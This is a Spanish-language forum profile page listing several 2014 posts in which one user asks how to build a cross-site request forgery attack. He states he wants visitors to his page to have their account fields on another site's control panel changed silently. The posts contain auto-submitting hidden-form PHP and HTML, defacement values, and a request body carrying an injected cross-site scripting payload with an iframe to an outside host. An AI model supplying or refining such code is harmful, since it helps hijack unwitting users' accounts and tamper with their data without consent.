últimos mensajes de: xGaLan

Mostrar Mensajes
Páginas: [1]

Programación / Desarrollo Web / Re: ¿Cómo pongo la siguiente solicitud para CSRF?

en: 28 Noviembre 2014, 18:05 pm

Ahora he puesto esto pero no edita nada, se queda la página en blanco.

Código:

<?php

$url = "URL/opciones/editar_personaje";
$form["descripcion_fisica"] = "X HACKER";
$form["submit"] = "Actualizar";

echo '<html><body onLoad="document.csrf.submit();">';
echo '<form name="csrf" action="http://'.$url.'" method="POST">';
foreach($form As $key=>$value) {
        echo '<input type="hidden" name="'.$key.'" value="'.$value.'">';
}
echo '</form></body></html>';
?>

2	Programación / Desarrollo Web / Re: ¿Cómo pongo la siguiente solicitud para CSRF?	en: 28 Noviembre 2014, 17:49 pm
Ahora tengo esto, el problema está en que yo quiero pasarle mi CSRF a la victima, entonces esta entra y se le abre la PCU en una nueva pestaña, tampoco se editan los campos en la nueva pestaña, quería que todo estuviese oculto. Código: <form name="form1" action="http://URL/opciones/editar_personaje" method="POST"> <input type="hidden" name="llegadaLS" value="X es el más fuerte"> <input type="hidden" name="descripcion_psicologica" value="X te ha hackeado bitch."> document.getElementById('submit').onclick(); </form> <script>document.forms.namedItem("form1").submit();</script>

3	Programación / Desarrollo Web / Re: ¿Cómo pongo la siguiente solicitud para CSRF?	en: 28 Noviembre 2014, 17:36 pm
Agradezco tú ayuda, ahora una última pregunta, ¿cómo hago que automáticamente le pulse a un botón de la página y aparte que se haga sin que se abra una pestaña nueva?

4	Programación / Desarrollo Web / Re: ¿Cómo pongo la siguiente solicitud para CSRF?	en: 28 Noviembre 2014, 17:17 pm
Lo que quiero es que cuando uno entre a mi index.php, les envie una petición a la PCU de un servidor, allí le edite todos los campos sin que el se de cuenta.

Programación / Desarrollo Web / ¿Cómo pongo la siguiente solicitud para CSRF?

en: 28 Noviembre 2014, 17:04 pm

Bueno, quiero hacer que cuando entren a mi página web les haga lo siguiente, en método post se le cambie lo siguiente de la cuenta.

Código:

<form action="formulario" action="URL" 
Aqui quiero que se envie la solicitud de abajo.
<script>document.submit();</script>

Tengo la siguiente solicitud pero no sé ponerla:

Código:

altura=164&peso=60&color_ojos=Verdes&color_pelo=Marron&peinado=Corto&bello=Afeitado&tipo_cabeza=Cuadrado&complexion=Atletico&estado_animo=Inquieto&tipo_rol=Rol+serio%2C+nada+de+Off+Rol&estado_rol=En+Rol%2C+buscando+contacto&procedencia=Estados+Unidos.&apodo=Claight.&nick=ASDA&descripcion_fisica=%3CA+HREF%3D%22.%22%3EXSS+TEST%3C%2FA%3E%0D%0A%3C%2Fpre%3E%0D%0A%3Cpre%3E%0D%0A%3Ciframe+src%3D%22http%3A%2F%2FWww.xD.com%2F%3FComando%22%3E&descripcion_psicologica=Pr%C3%B3ximamente.&historia_conocida=Pr%C3%B3ximamente.&llegadaLS=Pr%C3%B3ximamente.&submit=Actualizar

Páginas: [1]